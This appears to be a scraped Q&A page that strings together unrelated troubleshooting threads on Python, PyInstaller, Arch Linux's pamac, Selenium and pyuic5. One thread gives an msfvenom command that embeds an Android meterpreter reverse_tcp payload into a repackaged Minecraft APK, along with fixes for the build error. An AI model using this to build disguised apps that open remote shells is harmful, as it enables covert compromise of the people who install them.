Not found an answer addressing getting Python3.6 working in Xcode8.2.1 - xcode8

Tried many variations, but would like to run Python3.6 inside Xcode8
terminal (which Python3) indicates py exec located in /library/Frameworks/Python.frameworks/versions/3.6/bin/Python3.6. Actually there appears to be an exec in /3.6 & /bin. I have tried both in my Xcode schemes with no luck. The only Python in \usr\bin\python launches Python2.7.
when I edit schemes in Xcode and run I receive a message - 'problem launching using POSIX_SPAWN'. I can find no Pythonw for version 3.6. Using Pythonw launches 2.7.
New to use of Python. What am I missing????

Related

Pandas Import Error when converting Python script to .exe with Pyinstaller

I am currently trying to convert my Python script that automates an Excel task for my boss to an executable so that I can send it to him and he can use it without having Python installed. One of the libraries I used in the script is Pandas, and when I run the .exe after successfully building it, I get "failed to execute script 'main' due to unhandled exception: No module named pandas."
This is what I used to build the .exe:
pyinstaller --onefile -w main.py
Obviously I have Pandas installed on my machine and the script works perfectly fine when I run it normally, so I don't really know why I am getting this error especially since I thought the whole point of me converting the script to an executable was to get rid of the need for other packages to be installed.
I have read other articles on here about a similar error relating to numpy, but none of the other solutions have helped me. I have tried doing --hidden-import pandas while building the executable and downgrading pandas to an older version, both to no success.
Any suggestions with help!

Pamac will not load any apps

So I did a fresh install of Arch Linux on my desktop and installed i3wm with it. After updating the repo's following the first reboot I began to add some packages I am familiar with that I can remember off the top of my head. After making sure my wireless internet was working I began to add apps to install to get me all set up and 'pamac-aur' was one of them. After I couldn't remember anymore apps to install I turned to pamac to help me with the rest, only it wouldn't start. I got a "Authentication failed" error. So I did some research and 95% of the posts I read mentioned adding 2 lines to my i3 startup config.
exec /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1 &
exec --no-startup-id /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1 &
I currently have tried both of those lines and each one separately as well since they are almost identical and pamac is still giving me the "Authentication failed" error message. I can 'sudo pacman -Syu' and 'yay -Syu' from the command line but since I am still new with i3 and linux in general, I like referring to an application that shows pictures of different packages and a 'one-stop-shop' to install everything in one go.
So beyond those two lines in my i3 config, I don't know what else to try. Any help is greatly appreciated!
Have you already checked if you have polkit-gnome installed?
This is the package that provides the binary you are trying to execute with the lines you mentioned in you config:
pacman -Syu polkit-gnome
After installing it I would check if it works when starting the agent manually by executing the following in the terminal:
/usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1
Then run pamac and try to install/remove/update a package with it. When a popup appears that wants you to authenticate yourself it was a success.
Then you can add the line to your i3 config.
Also the the second line without the ampersand at the end is enough for your i3 config:
exec --no-startup-id /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1
For the new line in the config to take effect you would have to, after saving the file, logout and login again.

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

Cannot import Selenium even when it's installed [duplicate]

After searching the web for hours i didnt yet find an answer to my problem. I am using Python 3.6 and i cant import selenium. I always get the message "No module named 'selenium''
I tried everything, i first downloaded selenium from this website https://pypi.python.org/pypi/selenium/3.6.0 .
Then I tried python -m pip install -U selenium and didnt work either. I tried some other things that people said but they didnt work either.
Im using windows 10.
Any help?
As you mentioned you are using Python 3.6 following the steps :
Open Command Line Interface (CLI) and issue the command python to check if Python is properly installed :
C:\Users\username>python
Python 3.6.1 (v3.6.1:69c0db5, Jan 16 2018, 17:54:52) [MSC v.1900 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
Ensure pip is working properly :
C:\Users\username>pip
Usage:
pip <command> [options]
Commands:
install Install packages.
download Download packages.
uninstall Uninstall packages.
freeze Output installed packages in requirements format.
list List installed packages.
show Show information about installed packages.
check Verify installed packages have compatible dependencies.
search Search PyPI for packages.
wheel Build wheels from your requirements.
hash Compute hashes of package archives.
completion A helper command used for command completion.
help Show help for commands.
General Options:
-h, --help Show help.
--isolated Run pip in an isolated mode, ignoring environment variables and user configuration.
-v, --verbose Give more output. Option is additive, and can be used up to 3 times.
-V, --version Show version and exit.
-q, --quiet Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).
--log <path> Path to a verbose appending log.
--proxy <proxy> Specify a proxy in the form [user:passwd#]proxy.server:port.
--retries <retries> Maximum number of retries each connection should attempt (default 5 times).
--timeout <sec> Set the socket timeout (default 15 seconds).
--exists-action <action> Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
--trusted-host <hostname> Mark this host as trusted, even though it does not have valid or any HTTPS.
--cert <path> Path to alternate CA bundle.
--client-cert <path> Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.
--cache-dir <dir> Store the cache data in <dir>.
--no-cache-dir Disable the cache.
--disable-pip-version-check
Don't periodically check PyPI to determine
whether a new version of pip is available for
download. Implied with --no-index.
Install latest selenium through pip :
C:\Users\username>pip install -U selenium
Collecting selenium
Downloading selenium-3.8.1-py2.py3-none-any.whl (931kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 942kB 322kB/s
Installing collected packages: selenium
Successfully installed selenium-3.8.1
Confirm that Selenium is installed :
C:\Users\username>pip freeze
selenium==3.8.1
Open an IDE (e.g Eclipse, PyCharm) and write a simple program as follows :
from selenium import webdriver
driver = webdriver.Firefox(executable_path="C:\\path\\to\\geckodriver.exe")
driver.get('https://stackoverflow.com')
Execute the program on which Firefox Quantum Browser will be initiated and the url https://stackoverflow.com will be accessed.
Python Download Location (Windows) :
Python (for Windows) can be download from the following location :
https://www.python.org/downloads/
I'm on VS Code in Windows 10, and here's how I solved it.
You need to pay attention to where the Python is located (in my case),
1) C:\Users\_Me_\AppData\Local\Programs\Python\Python38\
and where the Python looks for libraries/packages, including the ones installed using pip (again, in my case),
2) C:\Users\_Me_\AppData\Roaming\Python\Python38\
I don't know why these two locations are different (gotta fix it at some point). It seemed that Python was running from the first location, but it was looking for libraries in the second!:/
Anyway, since I have limited experience in Python , I just copied the \Lib\site-packages from the first location (including selenium folders) to \site-packages in second one in hopes of solving the issue, which worked out for me!
How to check for there locations
1) Open Python CLI, typed the following command:
which python
2) Open Python CLI, typed the following commands (From this answer):
>>> import site
>>> site.USER_SITE
EDIT
Since this seems a temporary solution, I uninstalled Python and reinstalled it again in a proper directory (other than the default install directory), and now which python and which pip point to the same folder! Problem solved!
If these solutions did not work for you, try looking into which Python interpreter your IDE is using (in my case I was using VSCode - you can find the interpreter in the bottom bar). Worked for me.
Easiest way is to copy all files of "venv" Lib, Scripts, Selenium and other folder into your main project folder.
This issue occur as pycharm directly take from virtual environment venv.
Hope this will resolve your problem :)

PyQt5 - pyuic5 module PyQt5.uic not found

I've upgraded my deveolpment environment from python-3.2/ Qt-4.8/ PyQt4 to python 3.4.2 / Qt5.3 / PyQt5.
Everything is Ok but the python source code generation with pyuic5.
When calling this commands I get the error
/usr/bin/python3: No module named uic
The Qt uic program is located at
~/Qt/5.3/gcc_64/bin/uic
The PyQt5 pacjakge is located at
/usr/local/lib/python3.4/site-packages/PyQt5
Even if the PyQt5 environment is operational as runtime I can't build any new GUI interface, so I can't move forward with this application upgrade.
Any idea ?
Thanks for help.
Thanks for the answer from #Akhil. The code below really helps me avoid the "module not found" problem, and successfully create a .py file from a .ui file.
exec python -m PyQt5.uic.pyuic youruifile -o yourpyfile -x
call python -m PyQt5.uic.pyuic -x filename.ui -o filename.py
this one worked for me (28th june 2017, PyQt5, python 3.6, win10, 64bit)
I faced the same issue. I had installed PyQt into a virtual environment and the issue was the the pyuic5 script was not using the python interpreter for that virtual environment.
So I opened up the pyuic5 script
exec pythonw2.7 -m PyQt5.uic.pyuic ${1+"$#"}
to
exec python -m PyQt5.uic.pyuic ${1+"$#"}'
This resolved the issue for me.
I know this is late, but I just recently encountered this issue when setting up external tools for Qt Creator. I know its not exactly what you ran into but it produces the same error. I don't like the idea of modifying files in my anaconda/bin directory so I didn't want to implement either of the other answers.
What I did find is that when you are setting up an external tool Qt Creator operates as if you are working in a new environment (i.e. your PATH is not the same as your development path). What I found is that you need to set the Environment field to have the same path as your development environment. This occurs by default when you setup Build and Run Settings for your project, but not for external tools.
Like #ekhumoro said in his comment You must pay attention to your PATH at all times.
I believe you are a Mac user and I had faced a similar issue.
It seems you'll simply have to provide the full path of the pyuic file (for me, it was under a hidden folder usr in the home directory: /usr/local/Cellar/pyqt/5.10.1_1/bin/pyuic5).
In your terminal, change directory to where the *.ui files( which you wish to convert to a *.py file) lies.
So for instance, if you have a Qt designer file saved by the name untitled.ui on your desktop, put in the following command in your terminal:
Amars-MacBook-Pro:Desktop amaradak$ /usr/local/Cellar/pyqt/5.10.1_1/bin/pyuic5 -x untitled.ui -o untitled.py
Hope this helps...
Cheers
Try this: i've been searching for 2 days and all problem solved!
First Rule in Python: Don't use .XML this is not Java instead use .PY for me i don't need uic at all
Let's begin, my pyuic5 actually there is no in PyQt5 folder instead in Scripts Folder
C:\......Python\Python37-32\Scripts\pyuic5.exe
you have to make sure that the yourFile.ui is in the same location of your pyuic5.exe
Follow the pict below, you will be understand:
How to convert ui to py for easy way
uic not found solved
it works like a Charm !
Hi everybody , see last pict, i just converted ui to py for the first time in my life !